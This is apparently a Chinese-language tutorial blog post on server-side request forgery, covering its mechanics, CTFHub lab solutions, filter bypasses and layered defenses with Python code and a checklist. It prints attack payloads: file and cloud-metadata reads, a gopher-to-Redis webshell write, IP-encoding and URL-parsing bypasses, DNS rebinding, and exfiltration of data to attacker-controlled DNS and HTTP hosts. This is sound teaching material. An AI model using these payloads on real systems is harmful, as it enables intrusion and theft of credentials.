SSRF漏洞原理、利用与防御全解析:从CTF靶场到实战渗透
1. 从靶场到实战:为什么SSRF是每个Web安全从业者的必修课
如果你在CTFHub的技能树里刷题,或者在实际的渗透测试项目中,SSRF(Server-Side Request Forgery,服务端请求伪造)这个漏洞类型,绝对是一个绕不开的“老朋友”。它不像SQL注入那样直接,也不像XSS那样直观,但它的威力,尤其是在现代微服务架构和云原生环境下,常常能起到“四两拨千斤”的效果,从一个看似无害的功能点,直接打到内网核心。我见过太多案例,一个简单的图片URL加载功能,最终成了攻击者通往内网数据库、Redis服务甚至云平台元数据API的后门。所以,今天我们不聊空泛的理论,就结合CTFHub的靶场环境和我在实际工作中的踩坑经验,把SSRF从原理到利用,再到防御,掰开了、揉碎了讲清楚。无论你是刚入门网络安全的新手,还是想巩固知识的老兵,这篇超详细的总结,都能让你对SSRF有一个透彻的理解,并且知道在CTF和实战中该怎么用、怎么防。
2. SSRF漏洞核心原理与危害深度拆解
2.1 到底什么是SSRF?一个“跑腿小弟”的比喻
你可以把存在SSRF漏洞的服务器想象成一个过于老实、对指令来者不拒的“跑腿小弟”。这个“小弟”(即后端服务器应用)有一个特殊能力:它能根据用户提供的地址(URL),去互联网或内部网络的任何地方取东西(发起HTTP、FTP、Gopher等网络请求)。
正常情况下,这个功能是好的。比如,你(用户)告诉“小弟”:“去https://api.weather.com帮我取一下今天的天气数据。” “小弟”照做,取回数据展示给你。问题出在,“小弟”太老实了,它不会、或者没有严格审查你给的地址。如果你心怀不轨,告诉它:“别去外面了,去咱们公司内网那个没设密码的http://192.168.1.100:6379,看看Redis里有什么。” 这个“小弟”也会毫不犹豫地执行。
这就是SSRF的本质:攻击者能够诱使服务器应用程序向攻击者指定的任意地址发起网络请求。这个“任意地址”是关键,它可能包括:
- 服务器本机(localhost/127.0.0.1):访问只有本机才能访问的服务,如数据库管理界面(phpMyAdmin, 127.0.0.1:8080)、缓存服务(Redis, 127.0.0.1:6379)。
- 内部网络(内网IP段):扫描或攻击与外网隔离的内网应用,这些应用通常安全假设较弱(认为来自内网的请求是可信的)。
- 云服务元数据接口:在AWS、阿里云、腾讯云等云服务器上,有一个特殊的内部端点(如
http://169.254.169.254/),用于查询实例的元数据,可能包含AccessKey、SecretToken等高危信息。 - 其他外部服务:甚至可以利用服务器作为跳板,去攻击第三个网站,并可能将攻击流量溯源到受害服务器,起到一定的隐蔽作用。
2.2 SSRF的常见触发场景与代码层面的“病根”
理解了比喻,我们来看看代码里是怎么写出这个漏洞的。几乎所有支持从用户输入构建URL并发起请求的语言和库都可能中招。
一个经典的PHP漏洞示例:
<?php function getUrlContent($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 关键问题:没有对$url的协议和目的地做任何限制! $output = curl_exec($ch); curl_close($ch); return $output; } $user_provided_url = $_GET['url']; // 攻击者完全可控的输入 echo getUrlContent($user_provided_url); ?>这段代码的“病根”一目了然:$user_provided_url直接来自用户输入的$_GET[‘url’],未经任何过滤,就被塞进了curl_setopt。攻击者传入file:///etc/passwd,它就会读取系统文件;传入http://192.168.1.1:8080/admin,它就会探测内网管理后台。
其他常见触发点:
- 社交媒体/网站的头像、封面图设置:上传功能允许输入远程图片URL,服务器会去拉取并存储。
- PDF/文档生成服务:服务端需要拉取网络资源嵌入文档。
- 网页翻译/预览功能:服务端需要获取目标网页的内容进行分析。
- 从URL导入数据:各种“导入来自链接”的功能。
- Webhook测试或回调:允许用户自定义Webhook的测试URL。
实操心得:在代码审计时,要像“侦探”一样搜索关键词。除了
curl_、file_get_contents,还要关注fsockopen、HttpClient(Java)、requests(Python)、System.Net.Http.HttpClient(.NET)等网络请求函数或库的调用,并追溯其参数是否用户可控。
2.3 SSRF可能造成的“连锁破坏”与真实危害
SSRF的危害绝不仅仅是“让服务器发个请求”那么简单,它是一个非常理想的内网渗透突破口。
信息泄露(最直接):
- 读取服务器本地文件:利用
file://协议读取/etc/passwd、/proc/self/environ(环境变量,可能含密钥)、Web源码、配置文件等。 - 访问云元数据:获取云服务器的临时安全凭证,进而控制整个云资源。
- 扫描内网端口与服务:通过判断请求的响应时间或错误信息,探测内网哪些IP和端口开放了服务(如Redis, MySQL, MongoDB等),绘制内网地图。
- 读取服务器本地文件:利用
攻击内网应用(危害升级):
- 内网应用通常缺乏外网防护。通过SSRF,可以直接攻击这些脆弱服务。
- 攻击Redis:如果内网Redis未授权访问,可通过SSRF向其发送命令,写入Webshell或反弹Shell。
- 攻击FastCGI/PHP-FPM:利用
gopher://协议构造特定数据包,直接执行任意代码。 - 攻击MySQL:通过
gopher://协议发送恶意查询包(需要知道凭据)。
绕过访问控制:
- 有些应用会对
Referer或源IP做校验,只允许“白名单”IP访问管理接口。但SSRF请求是从受信任的服务器本身发出的,从而绕过了这些限制。
- 有些应用会对
盲SSRF与外部服务交互(Out-of-Band):
- 有时请求的响应不会直接返回给攻击者(盲SSRF)。此时,可以让服务器向攻击者控制的DNS服务器或HTTP服务器发起请求(如
http://your-domain.com/ssrf?data=xxx),通过查看DNS查询日志或HTTP访问日志来确认漏洞存在并携带出部分数据。
- 有时请求的响应不会直接返回给攻击者(盲SSRF)。此时,可以让服务器向攻击者控制的DNS服务器或HTTP服务器发起请求(如
一个真实案例的推演:攻击者发现一个在线转换工具存在SSRF,可以传入图片URL。他构造了指向http://169.254.169.254/latest/meta-data/iam/security-credentials/的URL。服务器(AWS EC2)乖乖地去访问了这个元数据接口,并将返回的IAM角色临时密钥在转换后的页面中(可能是错误信息)显示出来。攻击者拿到密钥,便可通过AWS CLI在云端为所欲为。
3. 利用技巧进阶:从基础探测到协议利用实战
知道了原理,我们进入实战环节。CTFHub的SSRF题目几乎涵盖了所有常见利用场景,是绝佳的练手场。下面我们分步骤、分协议来拆解。
3.1 第一步:漏洞探测与基础利用
面对一个疑似点,不要上来就file:///etc/passwd。有序的探测能帮你更快定位漏洞并了解环境。
确认漏洞存在(回显型):
- 尝试让服务器请求一个你控制的公网HTTP服务(如
http://your-burp-collaborator-domain.com)。如果收到来自服务器IP的请求,证明存在SSRF且可出网。 - 更简单的方法,使用一个会返回请求信息的公开服务:
http://httpbin.org/get。如果返回的内容中包含了服务器的User-Agent、IP等信息,说明漏洞存在且回显。
- 尝试让服务器请求一个你控制的公网HTTP服务(如
判断协议支持与过滤规则:
- 依次测试不同协议:
http://、https://、file://、ftp://、gopher://、dict://。 - 注意观察过滤:很多防护会黑名单过滤
127.0.0.1、localhost、内网IP段。你需要尝试绕过:- IP地址变形:
127.0.0.1->2130706433(十进制)、0x7f000001(十六进制)、127.1、127.0.1。 - 域名指向:
localhost->localtest.me(这个域名解析到127.0.0.1)、127.0.0.1.nip.io。 - URL编码/双重编码:
127.0.0.1->%31%32%37%2e%30%2e%30%2e%31。 - 利用解析差异:在URL中加端口、加
@符号、利用重定向等。
- IP地址变形:
- 依次测试不同协议:
基础文件读取与端口扫描:
- 文件读取:确认支持
file://后,尝试读取/etc/passwd、/proc/self/cmdline(查看进程启动命令)、C:\Windows\System32\drivers\etc\hosts(Windows)。 - 端口扫描:利用Burp Suite的Intruder或自己写脚本,批量请求
http://127.0.0.1:PORT。通过响应时间、状态码、错误信息长度差异来判断端口开放情况。注意:这种扫描速度要慢,避免对靶机造成压力。
- 文件读取:确认支持
3.2 第二步:深入利用——伪协议与特殊攻击向量
这是SSRF利用的精华部分,也是CTF题目的常见考点。
1. 利用file://协议读取源码与敏感文件file://协议是读取服务器本地文件的利器。但它的利用有一些技巧:
- 路径穿越:不一定能直接读Web目录,可以尝试
file:///var/www/html/index.php或利用../进行目录穿越,如file:///etc/../../var/www/html/config.php。 - 读取PHP源码:如果直接请求
.php文件,会被服务器执行。要想看到源码,可以尝试利用php://filter协议(如果支持)进行编码读取,例如:php://filter/read=convert.base64-encode/resource=index.php。但注意,php://是PHP的包装器,不是所有SSRF场景都支持,它依赖于后端用file_get_contents()等函数。
2. 利用dict://和gopher://协议攻击内网服务这两个协议功能强大,可以构造任意格式的TCP数据包,用于攻击Redis、MySQL、FastCGI等。
dict://协议:通常用于快速查询字典或端口探测。例如dict://127.0.0.1:6379/info可以向Redis发送INFO命令。但它支持的命令和交互能力有限。gopher://协议:SSRF的“瑞士军刀”。它支持构造完整的TCP交互流量。攻击Redis是经典案例:- 你需要知道Redis未授权访问,且在内网可达(如
192.168.1.10:6379)。 - 构造一个能向Redis写入SSH公钥或Webshell的命令序列。
- 将这个命令序列转换成
gopher协议格式的URL。通常使用工具(如Gopherus)来生成。 例如一个简化版的攻击URL可能长这样:gopher://192.168.1.10:6379/_*3%0d%0a...(后面是一串编码后的Redis协议命令)。
注意事项:
gopher协议在现代PHP的cURL中默认可能不支持,需要编译时开启。但在CTF和某些老旧系统中仍可能遇到。Java、Python的某些网络库也可能支持它。- 你需要知道Redis未授权访问,且在内网可达(如
3. 攻击云元数据服务这是云上SSRF的重头戏。你需要记忆常见云厂商的元数据地址:
- AWS EC2:
http://169.254.169.254/latest/meta-data/ - 阿里云 ECS:
http://100.100.100.200/latest/meta-data/ - 腾讯云 CVM:
http://metadata.tencentyun.com/latest/meta-data/ - Google Cloud:
http://metadata.google.internal/computeMetadata/v1/(需要头Metadata-Flavor: Google)
利用SSRF直接访问这些地址,就可能拿到实例的访问密钥、角色信息等。
3.3 第三步:盲SSRF的利用与外带数据
当服务器的响应不直接显示请求结果时,就是盲SSRF。我们的目标是证明漏洞存在并尽可能外带数据。
DNS外带(最常用):
- 让服务器向一个你控制的域名发起请求,例如
http://ssrf.你的域名.com。 - 你只需要在你的DNS服务器(或使用免费服务如dnslog.cn, burp collaborator)上查看是否有来自目标服务器IP的DNS查询记录。有,则漏洞存在。
- 外带数据:可以将敏感信息放在子域名中,如
http://base64(文件内容).your-domain.com。服务器在解析这个域名时,DNS查询日志里就会留下编码后的数据。
- 让服务器向一个你控制的域名发起请求,例如
HTTP外带:
- 让服务器向你的HTTP服务器发起请求,并在URL路径或参数中携带数据。
- 例如:
http://your-server.com/leak?data=<敏感信息>。 - 你在你的Web服务器访问日志中就能看到包含数据的请求记录。
实操心得:在测试盲SSRF时,Burp Suite Professional的Collaborator功能是神器。它会给你一个临时域名(如
xxxxxx.oastify.com),所有指向该域名的DNS和HTTP请求都会被记录并实时显示在Burp中,无需自己搭建服务器,极大提高了测试效率。
4. 防御策略:从代码到架构的多层防线
知道了怎么攻击,才能更好地防御。SSRF的防御不是单一措施,而是一个从代码编写到网络架构的立体工程。
4.1 代码层面的“白名单”与规范化
这是最根本、最有效的一层。
严格实施URL白名单机制:
- 绝对不要使用黑名单!黑名单永远有被绕过的方法(新的IP格式、新的域名、新的协议)。
- 如果业务必须从用户输入获取URL,那么应该只允许访问有限的、预设的、已知安全的域名或IP。例如,一个头像拉取功能,只允许
gravatar.com或几个指定的图床域名。 - 实现上,可以维护一个内部域名/IP白名单,在发起请求前进行匹配。
统一网络请求出口与校验:
- 在应用架构中,不要在每个业务函数里随意使用
curl或requests。应该建立一个统一的、安全的HTTP客户端服务。 - 这个服务对所有出站请求进行集中校验:解析目标URL的协议、主机名、IP地址,对照白名单,禁止对内部地址(如
127.0.0.0/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16)和云元数据地址的请求。 - 代码示例(Python思路):
import socket from urllib.parse import urlparse import requests ALLOWED_DOMAINS = ['api.weatherapp.com', 'cdn.example.com'] BLOCKED_NETS = ['127.0.0.0/8', '10.0.0.0/8', '169.254.0.0/16'] # 包含云元数据 def safe_request(url): parsed = urlparse(url) hostname = parsed.hostname # 1. 检查域名白名单 if hostname not in ALLOWED_DOMAINS: raise ValueError(f"Domain {hostname} not allowed") # 2. 解析IP,检查是否属于内网段 try: ip = socket.gethostbyname(hostname) except socket.gaierror: raise ValueError(f"Cannot resolve hostname {hostname}") for net in BLOCKED_NETS: if ip_in_network(ip, net): # 需要实现ip_in_network函数 raise ValueError(f"Access to internal IP {ip} is blocked") # 3. 使用安全的客户端发起请求(可禁用重定向) session = requests.Session() session.max_redirects = 0 # 禁止重定向,防止通过重定向跳转到内网 return session.get(url, timeout=5)
- 在应用架构中,不要在每个业务函数里随意使用
禁用危险的URL协议:
- 在应用或底层库的配置中,显式禁用不需要的协议。例如,如果业务只需要HTTP/HTTPS,就禁用
file://、ftp://、gopher://、dict://等。 - 在PHP中,可以通过
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);来限制cURL只使用HTTP和HTTPS。
- 在应用或底层库的配置中,显式禁用不需要的协议。例如,如果业务只需要HTTP/HTTPS,就禁用
4.2 网络与系统层面的隔离与限制
代码不是万能的,需要有底层的网络隔离作为纵深防御。
强化服务器网络策略:
- 使用防火墙:在服务器本地或网络边界防火墙设置严格的出站规则。Web服务器原则上不应主动向内部其他业务服务器(如数据库、缓存)发起请求。如果必须,应限定特定的IP和端口。
- 利用网络命名空间或容器:将存在SSRF风险的应用部署在独立的网络命名空间或Docker容器中,限制其网络视图,使其无法访问关键的内网段。
云平台安全最佳实践:
- 最小权限原则:分配给云服务器实例的IAM角色或安全凭证,应遵循最小权限原则。即使元数据凭证被SSRF窃取,攻击者能做的事情也非常有限。
- 使用VPC和私有子网:将数据库、缓存等后端服务放在私有子网,仅对特定的应用子网开放,而非对所有互联网或整个内网开放。
- 使用跳板机或堡垒机:对核心内网服务的访问,必须通过统一的、审计严格的跳板机,杜绝从Web服务器直连。
应用运行环境加固:
- 以非特权用户(如
www-data,nobody)运行Web服务,降低其读取敏感系统文件的能力。 - 对Web目录进行严格的文件权限控制。
- 以非特权用户(如
4.3 请求处理过程中的校验与过滤
即使经过白名单,在最终发起请求前,再做一层校验。
正确解析与规范化URL:
- 使用标准库(如Python的
urllib.parse, Java的java.net.URI)来解析URL,而不是简单的字符串匹配。这可以防止利用@、#等符号进行的绕过。 - 例如,
http://expected.com@evil.com,很多简单的字符串匹配会认为主机名是expected.com,但标准解析器会识别出用户名是expected.com,主机名是evil.com。
- 使用标准库(如Python的
处理URL重定向:
- 攻击者可能提供一个白名单域名(如
https://safe.com),但这个域名返回一个302重定向,跳转到内网地址。因此,必须禁止HTTP客户端自动跟随重定向,或者对重定向的目标地址再次进行严格的白名单校验。
- 攻击者可能提供一个白名单域名(如
设置超时与响应限制:
- 为所有外部请求设置合理的超时时间(如3-5秒),防止攻击者利用SSRF进行慢速端口扫描或DoS攻击。
- 限制响应体的大小,防止服务器内存被大响应耗尽。
5. CTFHub SSRF题目实战精讲与避坑指南
理论结合实战,我们以CTFHub技能树的SSRF典型题目为例,讲解解题思路和常见“坑点”。
5.1 题目类型一:基础文件读取与内网探测
常见题目描述:提供一个输入框,让你输入URL,服务器会获取该URL的内容并显示。
解题步骤:
- 信息收集:先输入
http://httpbin.org/get,查看回显。确认漏洞存在,并观察返回的信息(如IP、User-Agent),判断服务器可能的位置和使用的技术栈。 - 尝试读取本地文件:输入
file:///etc/passwd。如果成功,说明file://协议可用且无过滤。 - 端口扫描:如果题目提示flag在内网某服务的某个端口上。你需要扫描。例如,题目说“flag在本地(127.0.0.1)的某个端口上”。
- 使用Burp Intruder,Payload类型选择Numbers,从1到65535太慢,通常先扫常见端口:21,22,80,443,6379,8080,9000等。
- 判断依据:对比响应。连接被拒绝(Connection refused)通常返回快、内容短或有特定错误码;端口开放且有服务,可能会返回特定的Banner(如HTTP服务的
HTTP/1.1 200 OK)或响应时间较长。
- 获取flag:找到开放端口后,直接访问
http://127.0.0.1:找到的端口/,或者根据服务类型进一步交互(如访问Web页面查看源码,或尝试Redis的INFO命令)。
避坑指南:这类题目有时会过滤
127.0.0.1和localhost。尝试使用127.0.0.1的十进制2130706433,或者0.0.0.0、127.1。如果过滤了file关键字,尝试大小写混写FilE或双重URL编码。
5.2 题目类型二:伪协议利用与代码审计
常见题目描述:题目提供了一个在线“网页抓取”或“转码”功能,并且可能给出了部分后端源码(PHP)。
解题思路:
- 审计源码:这是关键。查看代码中是如何处理用户输入的URL的。
- 有没有过滤?过滤了哪些关键词?(如
127、local、flag)。 - 支持哪些协议?(查看
curl_setopt或stream_context_create的配置)。 - 有没有
include或file_get_contents之类的函数,可能支持php://filter?
- 有没有过滤?过滤了哪些关键词?(如
- 利用
php://filter读取源码:如果后端用了file_get_contents($_GET[‘url’]),且没有禁用php://协议,可以尝试读取题目本身的源码。- Payload:
?url=php://filter/read=convert.base64-encode/resource=index.php - 返回的是一串Base64,解码后就能看到源码,从中寻找数据库密码、flag路径或其他漏洞线索。
- Payload:
- 利用
data://协议执行代码:如果allow_url_include被开启(现代环境极少,但CTF中可能出现),可以尝试data://text/plain,<?php system(‘ls’);?>。但这通常不是SSRF的主流考法,更多是文件包含。
5.3 题目类型三:攻击内网Redis写入Webshell
经典题目(如[De1CTF 2019]SSRF Me):题目环境通常是一个有SSRF的Web应用,内网同时运行着一个未授权访问的Redis,Web目录可写。
解题步骤:
- 确认Redis存在与位置:通过SSRF扫描内网(如
192.168.0.0/24)的6379端口,找到Redis。 - 构造攻击Payload:目标是让Redis向Web目录写入一个PHP Webshell。
- 手动构造(理解原理):
- 生成一个写入文件的Redis命令序列。例如:
flushall清空(慎用,可能破坏题目环境),set shell “<?php eval($_POST[‘cmd’]);?>”,config set dir /var/www/html,config set dbfilename shell.php,save。 - 将这些命令转换成符合Redis协议的格式(每行以
\r\n结尾),并进行URL编码。 - 使用
gopher://协议发送:gopher://192.168.x.x:6379/_+ 编码后的命令。
- 生成一个写入文件的Redis命令序列。例如:
- 使用工具(提高效率):工具
Gopherus可以直接生成攻击Redis的Payload。输入Webshell内容和Web路径,它会生成完整的gopherURL。
- 手动构造(理解原理):
- 执行与验证:将生成的URL提交给存在SSRF的点。如果成功,访问
http://目标服务器/shell.php,用POST传递cmd=whoami,即可执行命令拿到flag。
注意事项:Redis的写文件路径
dir需要知道Web绝对路径。可以通过报错信息、读取/proc/self/environ(包含PWD)或常见的默认路径(如/var/www/html)来猜测。写入的Webshell内容要避免特殊字符破坏Redis协议,通常需要工具或脚本进行正确的转义和编码。
5.4 题目类型四:盲SSRF与DNS外带
题目描述:提交URL后,页面没有明显回显,只显示“请求已发送”或类似提示。
解题步骤:
- 确认漏洞存在:使用DNS外带。输入
http://你的唯一子域名.dnslog.cn。 - 查看DNS记录:刷新你的DNSLog平台,如果看到来自题目服务器IP的查询记录,证明盲SSRF存在。
- 外带数据(如果需要):如果题目需要外带某个文件的内容(比如
/etc/passwd的第一行)。- 思路:先读取文件内容,然后将其作为子域名的一部分,让服务器去解析。
- 但这里有个难点:SSRF请求的URL通常是你直接提供的,如何让它携带动态的文件内容?这需要结合其他漏洞,比如命令注入(用反引号执行命令并将结果拼接到URL),或者利用某些服务(如
curl)支持从文件读取URL的特性。纯粹的盲SSRF外带数据难度较高,在CTF中常作为综合题的一部分。
6. 实战中的疑难杂症与高级绕过技巧
在实际渗透和高级CTF中,你会遇到各种加固和过滤。下面是一些进阶的对抗思路。
6.1 针对域名/IP过滤的绕过
利用DNS重绑定攻击:
- 原理:这是对抗“先解析域名校验IP,再请求”这种防御的利器。
- 方法:你拥有一个域名
evil.com。你将其DNS记录的TTL设为极短,并配置两条A记录:第一条指向一个合法的、白名单外的IP(如1.2.3.4),第二条指向目标内网IP(如192.168.1.1)。 - 攻击过程:你向存在SSRF的服务器提交
http://evil.com。服务器第一次解析evil.com,得到1.2.3.4,发现不在黑名单(或是白名单),校验通过。然后服务器发起真正的请求。关键点来了:由于TTL极短,服务器(或其DNS缓存)可能会在发起请求前再次解析evil.com,或者服务器使用的DNS解析库行为特殊,此时解析结果变成了192.168.1.1。于是请求实际发往了内网。 - 工具:可以使用
rbndr.us等在线服务进行测试。
利用IPv6、特殊IP格式:
[::]或[::1]等价于IPv6的localhost。0.0.0.0在某些配置下可能指向本机。127.127.127.127,127.0.0.0等变体。
利用URL解析差异:
- 利用
@:http://expected.com@evil.com/, 某些校验逻辑取@前的内容作为主机,但实际请求的是evil.com。 - 利用
#:http://evil.com#@expected.com/,#后面是片段标识符,部分解析器可能会忽略。 - 利用残缺的URL:
http://127.0.0.1:80\@evil.com/(使用反斜杠),http://127.0.0.1:80?@evil.com/。
- 利用
6.2 针对协议和端口过滤的绕过
- 利用非标准端口:如果只过滤了
http://和https://,但没限制端口,可以尝试http://evil.com:22去访问SSH服务,或者http://evil.com:6379去尝试Redis(虽然协议不对,但有些TCP服务可能返回信息)。 - 利用协议封装:如果完全禁用
gopher,但允许http,可以尝试寻找支持HTTP代理转发的内网服务,通过http协议向代理发送请求,让代理去访问gopher目标(较为复杂,依赖特定环境)。
6.3 盲SSRF中提升利用率的技巧
- 结合其他漏洞扩大影响:盲SSRF本身信息有限,但如果能结合其他漏洞(如CRLF注入、Header注入),可能将盲SSRF转化为可回显的SSRF,或者注入HTTP头去攻击其他依赖头部的服务。
- 利用服务器本身的请求特性:观察服务器在请求出错时的行为差异。例如,请求一个不存在的端口可能连接超时(时间长),请求一个存在但拒绝连接的服务可能立即返回“连接被拒绝”(时间短)。通过时间差可以进行更准确的端口扫描。
7. 防御方案落地:一个完整的代码示例与检查清单
最后,我们用一个相对完整的Python Flask示例,展示如何实现一个具备基本SSRF防护的URL请求功能,并附上检查清单。
from flask import Flask, request, jsonify import socket import ipaddress from urllib.parse import urlparse import requests from requests.exceptions import RequestException app = Flask(__name__) # 配置 ALLOWED_DOMAINS = ['api.safe-external-service.com', 'cdn.mycompany.com'] BLOCKED_IP_NETS = [ ipaddress.ip_network('127.0.0.0/8'), ipaddress.ip_network('10.0.0.0/8'), ipaddress.ip_network('172.16.0.0/12'), ipaddress.ip_network('192.168.0.0/16'), ipaddress.ip_network('169.254.0.0/16'), # 链路本地 & 云元数据 ipaddress.ip_network('0.0.0.0/8'), ] ALLOWED_PROTOCOLS = ('http', 'https') def is_ip_blocked(ip_str): """检查IP是否属于被阻止的内网段""" try: ip = ipaddress.ip_address(ip_str) for net in BLOCKED_IP_NETS: if ip in net: return True except ValueError: # 如果ip_str不是有效的IP地址(可能是域名),交给后续的域名检查 pass return False def safe_fetch_url(user_url): """安全的URL获取函数""" # 1. 解析URL try: parsed = urlparse(user_url) except Exception: raise ValueError("Invalid URL format") # 2. 检查协议 if parsed.scheme not in ALLOWED_PROTOCOLS: raise ValueError(f"Protocol '{parsed.scheme}' is not allowed") # 3. 获取主机名并解析IP hostname = parsed.hostname if not hostname: raise ValueError("No hostname in URL") # 3.1 先检查域名白名单(如果配置了严格白名单) # if hostname not in ALLOWED_DOMAINS: # raise ValueError(f"Domain '{hostname}' is not in the allowed list") # 3.2 解析IP,检查是否内网IP try: # 注意:这里会进行DNS解析,可能被DNS重绑定攻击 # 更安全的做法是使用自定义解析器并缓存,或使用DNS重绑定防护服务 ip_list = socket.getaddrinfo(hostname, None, family=socket.AF_INET) for _, _, _, _, (ip, *_) in ip_list: if is_ip_blocked(ip): raise ValueError(f"Access to internal IP '{ip}' is blocked") except socket.gaierror: raise ValueError(f"Cannot resolve hostname '{hostname}'") # 4. 发起请求(禁用重定向,设置超时) try: response = requests.get( user_url, allow_redirects=False, # 禁止自动重定向 timeout=5.0, # 设置超时 headers={'User-Agent': 'Safe-Fetcher/1.0'} # 使用固定UA ) # 5. 如果需要,在此处检查重定向地址(response.headers.get('Location')) # 并对重定向地址重复上述1-3步的校验 return response.text[:10240] # 限制返回内容大小 except RequestException as e: raise ValueError(f"Failed to fetch URL: {str(e)}") @app.route('/fetch', methods=['GET']) def fetch(): url = request.args.get('url') if not url: return jsonify({'error': 'Missing URL parameter'}), 400 try: content = safe_fetch_url(url) return jsonify({'content': content}) except ValueError as e: # 记录日志,但不向用户暴露内部错误细节 app.logger.warning(f"SSRF attempt blocked for URL {url}: {e}") return jsonify({'error': 'Failed to process the request'}), 400 if __name__ == '__main__': app.run(debug=False)SSRF防御代码检查清单:
- [ ]输入校验:是否对用户输入的URL进行了完整的解析(
urlparse)? - [ ]协议白名单:是否只允许业务必需的协议(如仅
http/https)? - [ ]目的地校验:
- [ ]方案A(推荐):是否实现了严格的域名白名单?
- [ ]方案B:如果不能用白名单,是否在DNS解析后,检查IP地址是否属于内网段或云元数据地址?
- [ ] 是否考虑了DNS重绑定攻击的防护?(例如,使用一次性解析并缓存,或使用可信DNS解析器)
- [ ]请求控制:
- [ ] 是否禁用了HTTP客户端自动跟随重定向?
- [ ] 是否对重定向目标进行了与原始URL同样严格的校验?
- [ ] 是否设置了合理的请求超时和响应大小限制?
- [ ]错误处理:是否避免了将内部错误信息(如解析的IP、具体的过滤规则)暴露给用户?
- [ ]网络层加固:服务器本身的防火墙是否限制了不必要的出站连接?
- [ ]依赖库安全:使用的HTTP客户端库(如
requests,curl)是否更新到最新版本,避免已知漏洞?
记住,SSRF的防御是一个持续的过程,需要开发、运维和安全团队共同协作,在应用设计之初就考虑进去,并在后续的代码审计和渗透测试中不断检验和完善。